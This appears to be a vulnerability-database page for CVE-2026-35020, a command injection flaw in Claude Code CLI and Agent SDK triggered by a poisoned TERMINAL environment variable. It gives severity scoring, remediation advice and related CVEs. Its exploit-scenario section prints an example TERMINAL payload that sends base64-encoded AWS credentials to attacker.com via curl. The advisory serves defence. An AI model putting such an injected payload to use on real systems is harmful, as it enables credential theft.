Skip to main content

Claude Code CVE-2026-35020

| EUVDEUVD-2026-19438 HIGH
OS Command Injection (CWE-78)
2026-04-06 VulnCheck
8.6
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Set malicious TERMINAL environment variable
  2. Exploit
    CLI invokes command lookup helper
  3. Execution
    Shell metacharacters injected into /bin/sh execution
  4. Impact
    Arbitrary commands execute with user privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Local attacker must set a malicious TERMINAL environment variable containing shell metacharacters before executing Anthropic Claude Code CLI or Claude Agent SDK. Affects default installations where the command lookup helper constructs shell commands with shell=true parameter.

Impact

Real-world risk is HIGH despite the local attack vector (AV:L) requirement. The CVSS 4.0 score of 8.6 reflects high confidentiality, integrity, and availability impact with low attack complexity and no privileges or user interaction required (PR:N, UI:N, AC:L). Publicly available exploit code exists, significantly lowering the barrier to exploitation. The primary risk scenario involves CI/CD pipelines and automated build systems where attackers can inject environment variables through repository configurations, Docker environment specifications, or compromised CI job definitions. Developer workstations with shared accounts or containerized development environments are also at risk. The vulnerability enables credential exfiltration (as noted in the Phoenix Security advisory), lateral movement, and supply chain attacks by compromising developer tooling. While not confirmed actively exploited (CISA KEV status not indicated), the existence of public exploit code and the critical role of AI-assisted coding tools in modern development workflows elevates this from theoretical to practical threat. Organizations using Claude Code CLI in automated systems should treat this as an urgent remediation priority.

Exploit ScenarioDerived

An attacker compromises a GitHub repository's CI/CD configuration file and adds a malicious environment variable definition: TERMINAL='/usr/bin/xterm; curl attacker.com/exfil?data=$(cat ~/.aws/credentials | base64) #'. When the CI pipeline executes Claude Code CLI to generate or review code, the command lookup helper constructs a shell command that injects the attacker's payload, exfiltrating AWS credentials to an external server. Alternatively, a malicious actor sends a crafted deep-link to a developer (e.g., via phishing or a compromised Slack integration) that triggers the vulnerable deep-link handler with a poisoned TERMINAL variable, executing arbitrary commands in the developer's user context and potentially installing persistent backdoors or stealing SSH keys. Publicly available exploit code exists, enabling rapid weaponization of this attack vector.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 06, 2026

OS command injection in Anthropic Claude Code CLI and Claude Agent SDK for Python allows local attackers to execute arbitrary commands by poisoning the TERMINAL environment variable with shell metacharacters. The vulnerability affects both normal CLI operations and deep-link handlers, enabling privilege escalation to the user context running the CLI. Publicly available exploit code exists. With CVSS 8.6 (High) severity, this presents significant risk in CI/CD pipelines and developer environments where environment variables may be attacker-controlled.

RemediationAI

Immediate mitigation requires restricting control over the TERMINAL environment variable in environments running Claude Code CLI or Claude Agent SDK. In CI/CD systems, explicitly unset or validate the TERMINAL variable before executing Claude tooling, using allowlists of known-safe terminal emulator paths (e.g., /usr/bin/xterm, /usr/bin/gnome-terminal) and rejecting any values containing shell metacharacters. For containerized deployments, use readonly or restricted environment variable configurations. Organizations should monitor for vendor-released patches from Anthropic addressing the underlying shell=true subprocess invocation pattern-likely requiring migration to shell=false with proper argument list handling or implementing strict input validation and escaping for environment variable values passed to shell contexts. Until patches are available, consider disabling deep-link handler functionality if not required and running Claude tools in isolated, non-privileged containers with minimal environment variable exposure. Review CI/CD logs and developer workstation audit trails for suspicious TERMINAL variable values or unexpected command executions. Consult the Phoenix Security advisory at https://phoenix.security/critical-ci-cd-nightmare-3-command-injection-flaws-in-claude-code-cli-allow-credential-exfiltration/ for detailed technical analysis and interim mitigation strategies. Upstream fix availability not independently confirmed from available data-monitor Anthropic security advisories and GitHub repositories for patch releases.

Affected VersionsENISA

Claude Agent SDK for Python 0 ≤0.1.55
Claude Code 0 ≤2.1.91

Affected Packages

euvd claude_agent_sdk_for_python no fix
euvd claude_code no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability stems from CWE-78 (OS Command Injection) in the command lookup helper and deep-link terminal launcher components. The affected code constructs shell commands using shell=true in Python subprocess calls, passing unsanitized user-controlled input from the TERMINAL environment variable directly to /bin/sh. When the CLI needs to launch a terminal or execute commands, it reads the TERMINAL variable and concatenates it into a shell command string without proper escaping or validation. An attacker who can control environment variables-common in CI/CD systems, containerized environments, or shared developer workstations-can inject shell metacharacters (semicolons, pipes, backticks, command substitution operators) that break out of the intended command context and execute arbitrary code. The vulnerability exists in both cpe:2.3:a:anthropic:claude_code and cpe:2.3:a:anthropic:claude_agent_sdk_for_python, indicating the flaw is present in the core command execution logic shared across these developer tooling products. The deep-link handler path expands the attack surface beyond interactive CLI use to scenarios where malicious links could trigger exploitation.

Know when Claude Code gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.6 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
PoC Detected
Apr 07, 2026 - 13:20 vuln.today
Public exploit code
CVE Published
Apr 06, 2026 - 18:58 nvd
HIGH 8.6

DescriptionCVE.org

Anthropic Claude Code CLI and Claude Agent SDK contain an OS command injection vulnerability in the command lookup helper and deep-link terminal launcher that allows local attackers to execute arbitrary commands by manipulating the TERMINAL environment variable. Attackers can inject shell metacharacters into the TERMINAL variable which are interpreted by /bin/sh when the command lookup helper constructs and executes shell commands with shell=true. The vulnerability can be triggered during normal CLI execution as well as via the deep-link handler path, resulting in arbitrary command execution with the privileges of the user running the CLI.

Executive ViewAI

Why It Matters

CVE-2026-35020 is a command injection vulnerability in Anthropic Claude Code CLI and Claude Agent SDK for Python that allows local attackers to execute arbitrary commands through environment variable manipulation, posing critical risk to development and CI/CD environments where these tools are deployed. This vulnerability could enable unauthorized code execution with the privileges of the user running the CLI, potentially compromising source code, credentials, and deployment pipelines.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict execution of Claude CLI/SDK to trusted, isolated environments with controlled environment variable settings; (2) Implement OS-level protections to prevent unauthorized modification of TERMINAL and related environment variables; (3) Remove or disable CLI tools from CI/CD pipelines until patch is available; (4) Monitor process execution for suspicious command patterns; (5) Enforce principle of least privilege on developer and CI/CD runner accounts.

Threat Intelligence Overview

EPSS Score
0.1%
Top 80% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

63
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-35022 CRITICAL POC
9.3 Apr 06

OS command injection in Anthropic Claude Code CLI and Agent SDK for Python allows remote, unauthenticated attackers to e

CVE-2025-59536 HIGH POC
8.7 Oct 03

Code injection in Anthropic's Claude Code CLI before version 1.0.111 allows malicious code embedded in a project directo

CVE-2026-35021 HIGH POC
8.4 Apr 06

OS command injection in Anthropic Claude Code CLI and Claude Agent SDK for Python enables arbitrary command execution vi

CVE-2026-25725 CRITICAL
10.0 Feb 06

Claude Code prior to version 2.1.2 has a CVSS 10.0 sandbox escape in the bubblewrap sandboxing mechanism, allowing code

CVE-2025-66032 CRITICAL POC
9.8 Dec 03

Claude Code is an agentic coding tool. Prior to 1.0.93, Due to errors in parsing shell commands related to $IFS and shor

CVE-2026-25722 CRITICAL
9.1 Feb 06

Claude Code prior to version 2.0.57 failed to properly validate MCP tool inputs, allowing malicious MCP servers to injec

CVE-2026-24887 HIGH POC
8.8 Feb 03

Claude Code versions before 2.0.72 allow authenticated attackers to execute arbitrary commands by exploiting a command p

CVE-2025-64755 HIGH
8.7 Nov 21

Claude Code is an agentic coding tool. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, no au

CVE-2026-55607 HIGH
7.7 Jun 29

Sandbox escape and code execution in Anthropic's Claude Code CLI (versions 2.1.38 through 2.1.162) lets a malicious repo

CVE-2025-65099 HIGH
7.7 Nov 19

Claude Code is an agentic coding tool. Rated high severity (CVSS 7.7), this vulnerability is remotely exploitable, no au

CVE-2026-39861 HIGH POC
7.7 Apr 21

Sandbox escape in Claude Code versions prior to 2.1.64 enables arbitrary file writes outside the workspace by exploiting

CVE-2025-59828 HIGH
7.7 Sep 24

Claude Code is an agentic coding tool. Rated high severity (CVSS 7.7), this vulnerability is remotely exploitable, no au

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy